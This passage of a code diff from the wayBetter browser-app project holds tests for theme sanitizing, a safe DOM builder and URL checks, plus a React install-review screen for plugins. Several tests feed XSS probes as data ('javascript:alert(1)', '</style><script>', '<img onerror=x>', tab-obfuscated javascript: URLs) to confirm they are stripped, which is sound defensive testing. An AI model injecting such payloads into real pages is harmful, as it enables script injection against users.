const old = sanitizeSpec({ name: 'Old', font: { family: ['Georgia', 'serif'], tweet: ['Charter'] } });
assert.deepEqual(old.font.roles.interface, { family: ['Georgia', 'serif'] });
assert.deepEqual(old.font.roles.post, { family: ['Charter'] });
assert.deepEqual(old.font, withRoles({ ...BASE_FONT, family: ['Georgia', 'serif'], tweet: ['Charter'] }));
const doc = { name: 'New', font: { family: ['Arial'], roles: { interface: { family: ['Inter', 'sans-serif'], source: 'google' }, numbers: { family: [], tabular: true, weight: 650 } } } };
const theme = sanitizeSpec(doc);
assert.deepEqual(theme.font.family, ['Inter', 'sans-serif']);
assert.deepEqual(theme.font.roles.numbers, { family: [], weight: 650, tabular: true });
assert.deepEqual(sanitizeSpec(JSON.parse(JSON.stringify(theme))), theme);
});
test('role sanitizing: clamps, drops unknown keys and unsafe names, interface takes only a family', () => {
const theme = sanitizeSpec({ name: 't', font: { roles: {
interface: { family: ['Inter'], weight: 900, size: 2 },
post: { family: ['Lora', '</style><script>'], weight: 5000, size: 9, tracking: -1, tabular: 'yes', script: 'x' },
heading: { family: ['serif'], source: 'google' },
numbers: {},
mono: 'monospace',
chrome: { family: ['Space Grotesk'], source: 'evil' },
nope: { family: ['Inter'] },
} } });
assert.deepEqual(theme.font.roles.interface, { family: ['Inter'] });
assert.deepEqual(theme.font.roles.post, { family: ['Lora'], weight: ROLE_LIMITS.weight[1], size: ROLE_LIMITS.size[1], tracking: ROLE_LIMITS.tracking[0] });
assert.deepEqual(theme.font.roles.heading, { family: ['serif'] }, 'a generic family is never a Google font');
assert.equal(theme.font.roles.numbers, 'inherit');
assert.equal(theme.font.roles.mono, 'inherit');
assert.deepEqual(theme.font.roles.chrome, { family: ['Space Grotesk'] });
assert.equal('nope' in theme.font.roles, false);
assert.deepEqual(withFamily({ family: ['Inter'], source: 'google', weight: 600 }, ['Georgia']), { family: ['Georgia'], weight: 600 });
assert.equal(withFamily({ family: ['Inter'] }, []), 'inherit');
});
test('font roles resolve: inherit the interface (the site font when it inherits), mono keeps a monospaced stack', () => {
const site = 'SiteSans, sans-serif';
const roles = resolveFontRoles(own.font, site);
for (const role of FONT_ROLE_NAMES) assert.equal(roles[role].inherited, true, role);
assert.equal(roles.interface.stack, site);
assert.equal(roles.post.stack, site);
assert.match(roles.mono.stack, /Cascadia Mono/);
const reported = resolvedFonts(night.font, site);
assert.equal(reported.interface.stack, fontStack(['Geist', 'system-ui']));
assert.equal(reported.interface.inherited, false);
assert.match(fontStack(['Geist']), /^"Geist Variable", "Geist"/, 'bundled families use their registered name first');
assert.match(MONO_FONT, /^"Cascadia Mono"/);
assert.equal(fontChoiceOf(FONT_CHOICES.find(choice => choice.id === 'serif')!.family), 'serif');
assert.equal(fontChoiceOf(['Nope']), 'custom');
});
test('backgrounds are values, painted on one fixed layer behind the page', () => {
const css = pageBackgroundCss({ kind: 'pattern', pattern: 'dots', ink: '#ffffff', opacity: 0.2, size: 20 }, '#000000').join('\n');
assert.match(css, /html:root::before\{[^}]*position:fixed/);
assert.match(css, /html:root body\{background:transparent !important\}/);
assert.doesNotMatch(backgroundLayers({ kind: 'gradient', from: '#000000', to: '#111111', angle: 90 }, '#000000', false), /fixed/);
assert.match(backgroundLayers({ kind: 'gradient', from: '#000000', to: '#111111', angle: 90 }, '#000000'), / fixed/);
});
test('a site catalog: the first built-in is the default; imported themes are kept, bounded and never shadow a built-in', () => {
const catalog = createThemeCatalog([own, night]);
assert.deepEqual(catalog.defaultChoice, { preset: 'site', accent: null, overrides: {}, themes: [] });
const many = Array.from({ length: MAX_USER_THEMES + 5 }, (_, n) => ({ id: `mine-${n}`, name: `Mine ${n}` }));
const choice = catalog.normalize({ preset: 'mine-3', accent: '#FF0000', themes: [{ id: 'night', name: 'Fake night' }, ...many], overrides: { font: { scale: 1.1 }, nope: { a: 1 }, css: 'x' } });
assert.equal(choice.themes.length, MAX_USER_THEMES - 1, 'the shadowing theme is dropped, the rest capped');
assert.equal(choice.preset, 'mine-3');
assert.equal(choice.accent, '#ff0000');
assert.deepEqual(Object.keys(choice.overrides), ['font']);
assert.equal(catalog.normalize({ preset: 'gone' }).preset, 'site');
assert.equal(catalog.base({ ...choice, preset: 'night' }).name, 'Night');
assert.equal(catalog.resolve({ ...choice, preset: 'site' }).font.scale, 1.1);
assert.deepEqual(catalog.palette({ ...catalog.defaultChoice, accent: '#00ff00' }), { accent: '#00ff00' });
assert.equal(catalog.palette(catalog.defaultChoice), null);
assert.equal(catalog.all(choice).length, 2 + choice.themes.length);
assert.equal(choiceForId(choice, choice.preset), choice);
assert.deepEqual(choiceForId(choice, 'night'), { preset: 'night', accent: null, overrides: {}, themes: choice.themes });
assert.deepEqual(serializeChoice({ ...catalog.defaultChoice, overrides: { font: {} } }), { preset: 'site', accent: null });
assert.throws(() => createThemeCatalog([]));
});
// ---- First-frame snapshot ----------------------------------------------------------------------
class MemoryStorage {
data = new Map<string, string>();
quota = Infinity;
getItem(key: string) { return this.data.get(key) ?? null; }
setItem(key: string, value: string) { if (value.length > this.quota) throw new Error('QuotaExceededError'); this.data.set(key, value); }
removeItem(key: string) { this.data.delete(key); }
}
const storages = () => {
const session = new MemoryStorage();
const local = new MemoryStorage();
return { session, local, stores: { session: session as unknown as Storage, local: local as unknown as Storage } };
};
const snap = (css: string, preset = 'nord'): ThemeSnapshot => ({ key: `{"preset":"${preset}"}|dark`, choice: { preset }, css });
const presetOf = (snapshot: ThemeSnapshot | null) => (snapshot?.choice as { preset: string } | undefined)?.preset;
test('the tab\'s own snapshot wins over the account-wide one', () => {
const { stores } = storages();
writeSnapshot(stores, snap('html{background:#2e3440 !important}'));
assert.equal(presetOf(readSnapshot(stores)), 'nord');
// Another tab of the account showed a different theme later: only localStorage changes.
stores.local!.setItem('wb:theme-snapshot', JSON.stringify(snap('html{background:#282a36 !important}', 'dracula')));
assert.equal(presetOf(readSnapshot(stores)), 'nord');
// A new tab (empty sessionStorage) falls back to the account's last theme.
assert.equal(presetOf(readSnapshot({ session: null, local: stores.local })), 'dracula');
});
test('the site\'s own look clears the snapshot', () => {
const { stores, session, local } = storages();
writeSnapshot(stores, snap('a{}'));
writeSnapshot(stores, null);
assert.equal(session.data.size + local.data.size, 0);
assert.equal(readSnapshot(stores), null);
});
test('big snapshots stay out of the site\'s localStorage; quota errors never throw', () => {
const { stores, session, local } = storages();
writeSnapshot(stores, snap('x'.repeat(SNAPSHOT_LOCAL_MAX + 10)));
assert.equal(session.data.size, 1, 'the tab keeps it for reloads');
assert.equal(local.data.size, 0, 'too big to share the site\'s localStorage quota');
session.quota = 10;
assert.doesNotThrow(() => writeSnapshot(stores, snap('y'.repeat(100))));
});
test('garbage in storage is no snapshot', () => {
const { stores } = storages();
stores.session!.setItem('wb:theme-snapshot', '{not json');
stores.local!.setItem('wb:theme-snapshot', JSON.stringify({ key: 1, css: 'a{}' }));
assert.equal(readSnapshot(stores), null);
});

View file

@ -0,0 +1,200 @@
import assert from 'node:assert/strict';
import test from 'node:test';
import { buildElement, dialogWidth, toastDuration, trapIndex, validationMessage, UI_CSS, WIDTHS } from '../src/ui.ts';
import {
contrastRatio, createThemeApi, normalizeResolved, readableOn, themeFromColors, themeVars, themeVarsCss, toHex,
type ResolvedTheme, type ThemeSource,
} from '../src/themeApi.ts';
import { createCorePluginApi, isTypingTarget, type PluginApiSite } from '../src/pluginApi.ts';
test('dialog widths: presets, clamped numbers, md by default', () => {
assert.equal(dialogWidth(undefined), WIDTHS.md);
assert.equal(dialogWidth('sm'), 380);
assert.equal(dialogWidth('lg'), 640);
assert.equal(dialogWidth(100), 260);
assert.equal(dialogWidth(5000), 960);
assert.equal(dialogWidth(520.4), 520);
assert.equal(dialogWidth(Number.NaN), WIDTHS.md);
});
test('toast duration: defaults, action default, sticky and clamping', () => {
assert.equal(toastDuration({}), 3200);
assert.equal(toastDuration({ action: { label: 'Undo', onClick() {} } }), 6000);
assert.equal(toastDuration({ duration: 0 }), 0, '0 keeps it until closed');
assert.equal(toastDuration({ duration: Infinity }), 0);
assert.equal(toastDuration({ duration: 10 }), 800);
assert.equal(toastDuration({ duration: 9000 }), 9000);
assert.equal(toastDuration({ duration: 10 ** 9 }), 60_000);
});
test('focus trap wraps at both ends and lets the browser move focus in between', () => {
assert.equal(trapIndex(0, -1, false), -1, 'nothing to focus');
assert.equal(trapIndex(3, -1, false), 0, 'focus outside the list enters at the start');
assert.equal(trapIndex(3, -1, true), 2, 'Shift+Tab from outside enters at the end');
assert.equal(trapIndex(3, 2, false), 0, 'Tab on the last wraps to the first');
assert.equal(trapIndex(3, 0, true), 2, 'Shift+Tab on the first wraps to the last');
assert.equal(trapIndex(3, 1, false), -1);
assert.equal(trapIndex(3, 1, true), -1);
assert.equal(trapIndex(1, 0, false), 0, 'a single element keeps focus');
});
test('validation answers become error messages', () => {
assert.equal(validationMessage('Too long'), 'Too long');
assert.equal(validationMessage(' '), null);
assert.equal(validationMessage(false), 'Please check this value.');
for (const ok of [true, null, undefined, 0, '']) assert.equal(validationMessage(ok), null);
});
test('the kit stylesheet is scoped and honours reduced motion', () => {
assert.match(UI_CSS, /prefers-reduced-motion: reduce/);
assert.match(UI_CSS, /:host \{ all: initial; \}/);
// Every rule targets the kit's own classes (no bare element selectors that could leak by accident).
for (const selector of UI_CSS.replace(/\/\*[\s\S]*?\*\//g, '').replace(/@keyframes[^{]+\{(?:[^{}]*\{[^}]*\})*\s*\}/g, '').match(/(^|\})\s*([^{}@]+)\{/g) ?? []) {
const text = selector.replace(/^\}?\s*/, '').replace(/\{$/, '').trim();
if (!text || text.startsWith('from') || text.startsWith('to')) continue;
for (const part of text.split(',')) assert.match(part.trim(), /^(:host|\.wb-)/, part);
}
});
type FakeNode = {
tag: string; attrs: Record<string, string>; props: Record<string, unknown>; children: unknown[]; listeners: Record<string, unknown>;
className: string; textContent: string; style: Record<string, string>; dataset: Record<string, string>;
setAttribute(k: string, v: string): void; addEventListener(t: string, f: unknown): void; appendChild(c: unknown): unknown;
};
function fakeDoc() {
return {
createElement(tag: string) {
const node: FakeNode = {
tag, attrs: {}, props: {}, children: [], listeners: {}, className: '', textContent: '', style: {}, dataset: {},
setAttribute(k, v) { node.attrs[k] = v; },
addEventListener(t, f) { node.listeners[t] = f; },
appendChild(c) { node.children.push(c); return c; },
};
return node;
},
createTextNode(text: string) { return { text }; },
} as unknown as Document;
}
test('ui.h builds from text only: no innerHTML, string handlers or javascript: URLs', () => {
const doc = fakeDoc();
const click = () => {};
const el = buildElement(doc, 'a', {
class: 'wb-check', href: 'javascript:alert(1)', onclick: 'alert(1)', onClick: click, innerHTML: '<img onerror=x>',
title: 'hi', hidden: true, skip: false, checked: false, dataset: { id: '7' },
}, '<b>not html</b>', 3, null, ['a', false]) as unknown as FakeNode;
assert.equal(el.className, 'wb-check');
assert.equal(el.attrs.href, undefined, 'javascript: URL dropped');
assert.equal(el.attrs.onclick, undefined, 'string handler dropped');
assert.equal(el.listeners.click, click, 'function handler becomes a listener');
assert.equal((el as unknown as Record<string, unknown>).innerHTML, undefined);
assert.equal(el.attrs.innerHTML, undefined);
assert.equal(el.attrs.title, 'hi');
assert.equal(el.attrs.hidden, '');
assert.equal(el.attrs.skip, undefined, 'false attributes are left out');
assert.equal((el as unknown as Record<string, unknown>).checked, false, 'false properties are still set');
assert.equal(el.dataset.id, '7');
assert.deepEqual(el.children, [{ text: '<b>not html</b>' }, { text: '3' }, { text: 'a' }]);
assert.throws(() => buildElement(doc, 'script'), /unsupported tag/);
assert.throws(() => buildElement(doc, 'img onerror=x'), /unsupported tag/);
});
test('colors: hex parsing, contrast, readable label color', () => {
assert.equal(toHex('rgb(0, 0, 0)'), '#000000');
assert.equal(toHex('rgba(21, 32, 43, 1)'), '#15202b');
assert.equal(toHex('rgba(0, 0, 0, 0)'), null, 'transparent is no color');
assert.equal(toHex('#FFF'), '#ffffff');
assert.equal(toHex('red'), null);
assert.ok(Math.abs(contrastRatio('#000000', '#ffffff') - 21) < 0.01);
assert.equal(readableOn('#0b5ed7'), '#ffffff', 'white when it reaches AA');
assert.equal(readableOn('#1d9bf0'), '#000000', "X's blue reads better with black (7:1 vs 3:1)");
assert.equal(readableOn('#ffd400'), '#000000');
});
test('a resolved theme fills missing roles, clamps geometry and becomes --wb-* variables', () => {
const partial = { id: 'demo', name: 'Demo', mode: 'dark', siteDefault: false, radius: 99, buttonRadius: 9999, font: '',
colors: { bg: '#000000', text: '#E7E9EA', accent: '#1d9bf0' } } as unknown as ResolvedTheme;
const theme = normalizeResolved(partial);
assert.equal(theme.colors.text, '#e7e9ea');
assert.ok(theme.colors.surface && theme.colors.border && theme.colors.muted, 'derived roles');
assert.equal(theme.colors.onAccent, readableOn('#1d9bf0'));
assert.equal(theme.radius, 28, 'radius clamped');
assert.ok(theme.font.includes('sans-serif'), 'font falls back to a system stack');
assert.ok(Object.isFrozen(theme) && Object.isFrozen(theme.colors));
const vars = themeVars(theme);
assert.equal(vars['--wb-bg'], '#000000');
assert.equal(vars['--wb-on-inverse'], theme.colors.onInverse);
assert.equal(vars['--wb-radius'], '28px');
assert.equal(vars['--wb-mode'], 'dark');
const css = themeVarsCss({ ...theme, font: 'Evil;}</style><script>' });
assert.ok(css.startsWith(':root{') && css.endsWith('}'));
assert.doesNotMatch(css.slice(6, -1), /[{}<>]/, 'values cannot break out of the rule');
const light = themeFromColors('#ffffff', '#0f1419', '#1d9bf0');
assert.equal(light.mode, 'light');
assert.equal(light.colors.inverse, '#0f1419');
});
test('theme api: reports the source, falls back to page colors, notifies only on real changes', () => {
let current: ResolvedTheme | null = null;
const listeners = new Set<() => void>();
const source: ThemeSource = { current: () => current, onChange: fn => { listeners.add(fn); return () => listeners.delete(fn); } };
const win = {
document: { body: null, documentElement: {} },
getComputedStyle: () => ({ backgroundColor: 'rgb(0, 0, 0)', color: 'rgb(231, 233, 234)', fontFamily: 'Chirp' }),
matchMedia: () => ({ matches: true }),
} as unknown as Window;
const api = createThemeApi(win, source);
assert.equal(api.current().siteDefault, true, 'no source theme yet: page fallback');
const seen: string[] = [];
const off = api.onChange(theme => seen.push(theme.id));
current = themeFromColors('#101820', '#f0f0f0', '#ff7a00', { id: 'mine', siteDefault: false });
for (const fn of listeners) fn();
for (const fn of listeners) fn();
assert.deepEqual(seen, ['mine'], 'one notification per visible change');
assert.equal(api.current().colors.accent, '#ff7a00');
off();
assert.equal(listeners.size, 0, 'dispose unsubscribes');
});
test('core api exposes ui and theme without touching the DOM until something is shown', () => {
const site: PluginApiSite = {
name: 'Demo', product: 'wayBetter for Test', storagePrefix: 'demo:', styleDataKey: 'demo', toastId: 'demo-ui',
toastBackground: '#123456', itemSelector: 'article', chordKeys: [],
};
let created = 0;
const win = {
document: { createElement: () => { created += 1; return {}; }, body: null, documentElement: {} },
location: { href: 'https://example.com/' },
getComputedStyle: () => ({ backgroundColor: 'rgb(255, 255, 255)', color: 'rgb(15, 20, 25)', fontFamily: '' }),
} as unknown as Window & typeof globalThis;
const api = createCorePluginApi(win, site);
assert.equal(typeof api.ui.confirm, 'function');
assert.equal(typeof api.ui.dialog, 'function');
assert.equal(api.theme.current().colors.accent, '#123456', 'site accent is the fallback');
const scope = api.scope();
assert.equal(typeof scope.ui.prompt, 'function');
assert.equal(scope.ui, scope.ui, 'one scoped kit per scope');
scope.onThemeChange(() => {});
scope.dispose();
assert.equal(created, 0);
});
test('typing detection looks into focused shadow roots (dialog fields)', () => {
const input = { nodeName: 'INPUT', closest: () => null };
const host = { nodeName: 'WB-UI', closest: () => null, shadowRoot: { activeElement: input } };
assert.equal(isTypingTarget(host as unknown as EventTarget), true);
const button = { nodeName: 'BUTTON', closest: () => null };
assert.equal(isTypingTarget({ nodeName: 'WB-UI', closest: () => null, shadowRoot: { activeElement: button } } as unknown as EventTarget), false);
});
test('URL attributes are judged the way browsers read them', async () => {
const { isSafeUrl } = await import('../src/ui.ts');
for (const bad of ['javascript:alert(1)', 'java\tscript:alert(1)', 'java\nscript:x', '\x01javascript:x', ' JavaScript:x', 'data:text/html,x', 'vbscript:x']) {
assert.equal(isSafeUrl(bad), false, JSON.stringify(bad));
}
for (const ok of ['https://x.com/jack', 'http://example.com', 'mailto:a@b.c', '/jack/status/1', '#top', 'relative/path', '?q=1']) {
assert.equal(isSafeUrl(ok), true, ok);
}
const el = buildElement(fakeDoc(), 'a', { href: 'java\tscript:alert(1)', src: '\x01javascript:x', srcset: 'javascript:x 1x' }) as unknown as FakeNode;
assert.deepEqual(el.attrs, {}, 'no unsafe URL attribute is set');
});

View file

@ -1,3 +1,6 @@
# shell (internal)
Sources of `waybetter/shell/*`. Published as part of the [`waybetter`](../waybetter/README.md) package; not published on its own.
Sources of `waybetter/shell/*`: the shell models, the Store screens and the shell frame
(`src/frame`, `createShell`). Published as part of the [`waybetter`](../waybetter/README.md) package;
not published on its own. The repository README's "The shell frame" section describes what an app
supplies.

View file

@ -4,7 +4,7 @@
"private": true,
"license": "GPL-3.0-or-later",
"type": "module",
"description": "wayBetter shell core: address bar, pane and link-drop models, profiles, update chip, command palette ranking and window controls. No dependencies. Published as part of the `waybetter` package (waybetter/shell/*).",
"description": "wayBetter shell core: address bar, pane and link-drop models, profiles, update chip, command palette ranking, window controls, and the Store (install screen and Store view React components, install controller, catalog model). No dependencies (React is a peer of the two components). Published as part of the `waybetter` package (waybetter/shell/*).",
"exports": {
"./*": "./src/*"
},

View file

@ -0,0 +1,286 @@
// The install screen, shared by every wayBetter app: every theme or plugin that is not copied into
// the plugins folder by hand (a waybetter:// link, a dropped file, the Store) is shown here first
// with its name, author, version, where it came from, its sha256, the permissions a plugin declares
// and the exact code or CSS that will be written. Nothing installs until Install is pressed (enabled
// after a moment, so a stray click or Enter cannot confirm it). Lives in the shell; the app hides
// its tab webviews while it is open (`setOverlay`). Styles: `store.css` (framework `--wb-*` tokens).
import { useEffect, useRef, useState, useSyncExternalStore, type KeyboardEvent, type ReactNode } from 'react';
import { createPortal } from 'react-dom';
import type { InstallController, InstallRequest } from './installController.ts';
import type { StoreText } from './storeMessages.ts';
import { formatBytes, permissionBadges, previewLines, type InstallKind, type InstallPreview } from './storeModel.ts';
/** Milliseconds before Install can be pressed (native code refuses a commit faster than 600 ms). */
export const REVIEW_MS = 1000;
const PREVIEW_LINES = 160;
/** Class names for the app's own buttons (defaults: the framework's `.wb-btn`). */
export type InstallClassNames = { primary: string; secondary: string; icon: string; pop: string };
const DEFAULT_CLASSES: InstallClassNames = { primary: 'wb-btn is-primary', secondary: 'wb-btn', icon: 'wb-icon-btn', pop: '' };
export type InstallHostProps<Theme> = {
controller: InstallController<Theme>;
t: StoreText;
/** The site's name in messages ("X"). */
site: string;
/** Shows or hides the app's tab webviews under the screen (+1 when it opens, -1 when it closes). */
setOverlay(delta: 1 | -1): void;
/** "Open Plugins" / "Open Appearance" after an install. */
openSection(kind: InstallKind): void;
/** A live preview of a staged theme (the app's theme preview). */
renderThemePreview?(theme: Theme): ReactNode;
/** Drops on elements matching this selector are handled by them (e.g. an import box). */
ownDropTargets?: string;
closeIcon?: ReactNode;
classNames?: Partial<InstallClassNames>;
};
/** Re-renders with the controller's current request. */
export function useInstallRequest<Theme>(controller: InstallController<Theme>): InstallRequest<Theme> | null {
return useSyncExternalStore(controller.subscribe, controller.current, controller.current);
}
function Glyph({ d, size = 18 }: { d: string; size?: number }) {
return <svg width={size} height={size} viewBox="0 0 24 24" aria-hidden="true"><path d={d} fill="none" stroke="currentColor" strokeWidth="1.7" strokeLinecap="round" strokeLinejoin="round"/></svg>;
}
const G = {
plugin: 'M9 3v5M15 3v5M6 8h12v3a6 6 0 0 1-12 0zM12 17v4',
theme: 'M12 3a9 9 0 1 0 0 18c1.5 0 2-1 2-1.8 0-1.2-.9-1.5-.9-2.5 0-1 .8-1.7 1.8-1.7h2A4.2 4.2 0 0 0 21 10.8 8.8 8.8 0 0 0 12 3zM7.5 11h.01M10.5 7.5h.01M15 8h.01',
shield: 'M12 3l7 3v5c0 4.6-3 8.5-7 10-4-1.5-7-5.4-7-10V6z',
check: 'M5 12.5l4.2 4.2L19 7',
link: 'M10 14a4 4 0 0 0 5.7 0l3-3a4 4 0 0 0-5.7-5.7l-1 1M14 10a4 4 0 0 0-5.7 0l-3 3a4 4 0 0 0 5.7 5.7l1-1',
file: 'M7 3h7l5 5v13H7zM14 3v5h5',
warn: 'M12 4l9 16H3zM12 10v4M12 17h.01',
copy: 'M9 9h10v10H9zM5 15V5h10',
close: 'M6 6l12 12M18 6L6 18',
};
function Fact({ label, children, wide }: { label: string; children: ReactNode; wide?: boolean }) {
return <div className={`wbi-fact${wide ? ' is-wide' : ''}`}><dt>{label}</dt><dd>{children}</dd></div>;
}
function CodePreview({ text, label, t }: { text: string; label: string; t: StoreText }) {
const [all, setAll] = useState(false);
const { lines, hidden } = previewLines(text, PREVIEW_LINES, all);
return <section className="wbi-code" aria-label={label}>
<header><span>{label}</span><small>{t('wb.install.lines', { count: text.split('\n').length })}</small></header>
<pre tabIndex={0}><code>{lines.map((line, i) => <span key={i} className="wbi-line"><i>{i + 1}</i>{line || ' '}</span>)}</code></pre>
{hidden > 0 && <button className="wbi-more" onClick={() => setAll(true)}>{t('wb.install.moreLines', { count: hidden })}</button>}
</section>;
}
function sourceIcon(preview: InstallPreview) {
return preview.source.kind === 'store' ? G.shield : preview.source.kind === 'link' ? G.link : G.file;
}
/** Where it comes from, in the owner's language (native code's `label` is English). */
function sourceLabel(source: InstallPreview['source'], t: StoreText): string {
if (source.kind === 'store') return t('wb.install.source.store');
if (source.kind === 'link') {
let host = '';
try { host = new URL(source.url ?? '').hostname; } catch { /* no host */ }
return t('wb.install.source.link', { host });
}
return t('wb.install.source.file');
}
type Shared<Theme> = Omit<InstallHostProps<Theme>, 'classNames'> & { classes: InstallClassNames };
function Ready<Theme>({ request, props }: { request: Extract<InstallRequest<Theme>, { status: 'ready' | 'installing' }>; props: Shared<Theme> }) {
const { t, site, controller, classes } = props;
const preview = request.preview;
const ready = request.status === 'ready' ? request : null;
const theme = ready ? ready.theme : null;
const facts = theme !== null ? controller.facts(theme) : null;
const plugin = preview.plugin;
const [armed, setArmed] = useState(false);
// On by default only when it is from the signed store or declares its permissions and the code
// scan found nothing to point out; otherwise the owner turns it on deliberately.
const [enable, setEnable] = useState(preview.kind === 'theme' || (!preview.existing && (preview.source.signed || (preview.plugin?.permissions != null && preview.findings.length === 0))));
const [copied, setCopied] = useState(false);
useEffect(() => { const timer = setTimeout(() => setArmed(true), REVIEW_MS); return () => clearTimeout(timer); }, [preview.token]);
const name = plugin?.name ?? facts?.name ?? preview.theme?.name ?? t('wb.install.untitled');
const author = plugin?.author || facts?.author || preview.theme?.author || '';
const version = preview.version || preview.store?.version || '';
const updating = preview.existing && !preview.existing.same;
const verb = preview.existing?.same ? t('wb.install.reinstall') : updating || ready?.replaces ? t('wb.install.update') : t('wb.store.install');
const eyebrow = t(preview.existing?.same ? 'wb.install.eyebrow.reinstall' : updating || ready?.replaces ? 'wb.install.eyebrow.update' : 'wb.install.eyebrow.install', { kind: preview.kind });
const badges = preview.kind === 'plugin' ? permissionBadges(plugin?.permissions, t, site) : [];
const installing = request.status === 'installing';
const description = plugin?.description || facts?.description;
return <>
<header className="wbi-head">
<div className={`wbi-tile is-${preview.kind}`} style={facts?.tile ? { background: facts.tile.background, color: facts.tile.color, boxShadow: `inset 0 0 0 1px ${facts.tile.border}` } : undefined}>
<Glyph d={preview.kind === 'plugin' ? G.plugin : G.theme} size={22}/>
</div>
<div className="wbi-title">
<span className="wbi-eyebrow">{eyebrow}</span>
<h2 id="wbi-title">{name}</h2>
<p>{[author && t('wb.store.by', { author }), version && `v${version}`].filter(Boolean).join(' · ') || t('wb.install.noAuthor')}</p>
</div>
<button className={`${classes.icon} wbi-close`} aria-label={t('wb.install.cancel')} onClick={() => void controller.cancel()}>{props.closeIcon ?? <Glyph d={G.close} size={16}/>}</button>
</header>
<div className="wbi-body">
<div className={`wbi-source is-${preview.source.kind}`}>
<Glyph d={sourceIcon(preview)}/>
<div>
<strong>{sourceLabel(preview.source, t)}</strong>
{preview.source.url && <code title={preview.source.url}>{preview.source.url}</code>}
</div>
{preview.source.signed && <span className="wbi-verified"><Glyph d={G.check} size={14}/>{t('wb.install.verified')}</span>}
</div>
{description && <p className="wbi-desc">{description}</p>}
<dl className="wbi-facts">
{preview.file && <Fact label={t('wb.install.file')}>{preview.file}</Fact>}
<Fact label={t('wb.install.size')}>{formatBytes(preview.size)}</Fact>
{preview.existing && <Fact label={t('wb.install.installedNow')}>{preview.existing.same ? t('wb.install.identical', { version: preview.existing.version || '?' }) : `v${preview.existing.version || '?'}${preview.existing.enabled ? ` · ${t('wb.install.on')}` : ''}`}</Fact>}
{ready?.replaces && <Fact label={t('wb.install.replaces')}>{t('wb.install.replacesValue')}</Fact>}
<Fact label="SHA-256" wide>
<span className="wbi-hash">{preview.sha256}</span>
<button className="wbi-copy" aria-label={t('wb.install.copyHash')} onClick={() => void navigator.clipboard?.writeText(preview.sha256).then(() => { setCopied(true); setTimeout(() => setCopied(false), 1400); }).catch(() => {})}>
<Glyph d={copied ? G.check : G.copy} size={14}/>
</button>
</Fact>
</dl>
{preview.kind === 'plugin' && <section className="wbi-perms" aria-label={t('wb.store.permissions')}>
<h3>{t('wb.install.permissions')}</h3>
<ul>
{badges.map(badge => <li key={badge.id} className={`is-${badge.tone}`}><span className="wbi-chip">{badge.label}</span><span>{badge.detail}</span></li>)}
</ul>
<p className="wbi-note"><Glyph d={G.warn} size={14}/>{t('wb.install.pageAccess', { site })}</p>
{preview.findings.length > 0 && <div className="wbi-findings"><strong>{t('wb.install.theCode')}</strong>{preview.findings.map(finding => <span key={finding}>{finding}</span>)}</div>}
</section>}
{theme !== null && <section className="wbi-theme">
{props.renderThemePreview?.(theme)}
{(ready?.warnings.length ?? 0) > 0 && <ul className="wbi-warnings">{ready!.warnings.map(warning => <li key={warning}>{warning}</li>)}</ul>}
</section>}
{facts?.css ? <CodePreview t={t} text={facts.css} label={t('wb.install.themeCss', { site })}/> : null}
<CodePreview t={t} text={preview.text} label={preview.kind === 'plugin' ? t('wb.install.code') : t('wb.install.themeFile')}/>
</div>
<footer className="wbi-foot">
<label className="wbi-check">
<input type="checkbox" checked={enable} disabled={installing || Boolean(preview.existing?.enabled)} onChange={event => setEnable(event.target.checked)}/>
<span>{preview.kind === 'plugin' ? (preview.existing?.enabled ? t('wb.install.staysOn') : t('wb.install.turnOn')) : t('wb.install.useNow')}</span>
</label>
<span className="wbi-foot-end"/>
<button className={classes.secondary} onClick={() => void controller.cancel()} disabled={installing}>{t('wb.install.cancel')}</button>
<button className={`${classes.primary} wbi-install${armed ? '' : ' is-arming'}`} disabled={!armed || installing} onClick={() => void controller.confirm(enable)}>
{installing ? t('wb.install.installing') : verb}
</button>
</footer>
</>;
}
function Done<Theme>({ request, props }: { request: Extract<InstallRequest<Theme>, { status: 'done' }>; props: Shared<Theme> }) {
const { t, site, controller, classes } = props;
return <div className="wbi-state">
<div className="wbi-state-icon is-ok"><Glyph d={G.check} size={26}/></div>
<h2 id="wbi-title">{t('wb.install.done', { name: request.name })}</h2>
<p>{request.kind === 'plugin'
? (request.enabled ? t('wb.install.done.pluginOn', { site }) : t('wb.install.done.pluginOff'))
: (request.enabled ? t('wb.install.done.themeOn') : t('wb.install.done.themeOff'))}</p>
{request.fonts.length > 0 && <p className="wbi-muted">{t('wb.install.done.fonts', { fonts: request.fonts.join(', ') })}</p>}
<div className="wbi-state-actions">
<button className={classes.secondary} onClick={() => { controller.close(); props.openSection(request.kind); }}>{request.kind === 'plugin' ? t('wb.install.openPlugins') : t('wb.install.openAppearance')}</button>
<button className={classes.primary} autoFocus onClick={controller.close}>{t('wb.install.doneButton')}</button>
</div>
</div>;
}
function Dialog<Theme>({ request, props }: { request: InstallRequest<Theme>; props: Shared<Theme> }) {
const { t, controller, classes, setOverlay } = props;
const box = useRef<HTMLDivElement>(null);
useEffect(() => {
setOverlay(1);
return () => setOverlay(-1);
}, []);
useEffect(() => { box.current?.querySelector<HTMLElement>('.wbi-close, [autofocus]')?.focus(); }, [request.status]);
const dismiss = () => (request.status === 'ready' ? void controller.cancel() : request.status === 'installing' ? undefined : controller.close());
const onKey = (event: KeyboardEvent) => {
if (event.key === 'Escape') { event.preventDefault(); dismiss(); }
// Enter never confirms an install; only a click on Install does.
if (event.key === 'Enter' && (event.target as HTMLElement).classList.contains('wbi-install')) event.preventDefault();
};
return createPortal(<div className="wbi-backdrop" onMouseDown={dismiss}>
<div ref={box} className={`wbi ${classes.pop} is-${request.status}`.replace(/\s+/g, ' ')} role="dialog" aria-modal="true" aria-labelledby="wbi-title" onMouseDown={event => event.stopPropagation()} onKeyDown={onKey}>
{request.status === 'loading' && <div className="wbi-state">
<div className="wbi-spinner" aria-hidden="true"/>
<h2 id="wbi-title">{request.title}</h2>
<p>{request.detail}</p>
<div className="wbi-state-actions"><button className={classes.secondary} onClick={controller.close}>{t('wb.install.cancel')}</button></div>
</div>}
{(request.status === 'ready' || request.status === 'installing') && <Ready request={request} props={props}/>}
{request.status === 'done' && <Done request={request} props={props}/>}
{request.status === 'error' && <div className="wbi-state">
<div className="wbi-state-icon is-warn"><Glyph d={G.warn} size={26}/></div>
<h2 id="wbi-title">{request.title}</h2>
<p>{request.message}</p>
<div className="wbi-state-actions"><button className={classes.primary} autoFocus onClick={controller.close}>{t('wb.install.close')}</button></div>
</div>}
</div>
</div>, document.body);
}
const hasFiles = (event: DragEvent) => Array.from(event.dataTransfer?.types ?? []).includes('Files');
/**
* Install links, the screen, and file drops on the window. A file dragged over the shell (tab
* strip, titlebar, settings) shows a drop target over the whole window; files dragged straight into
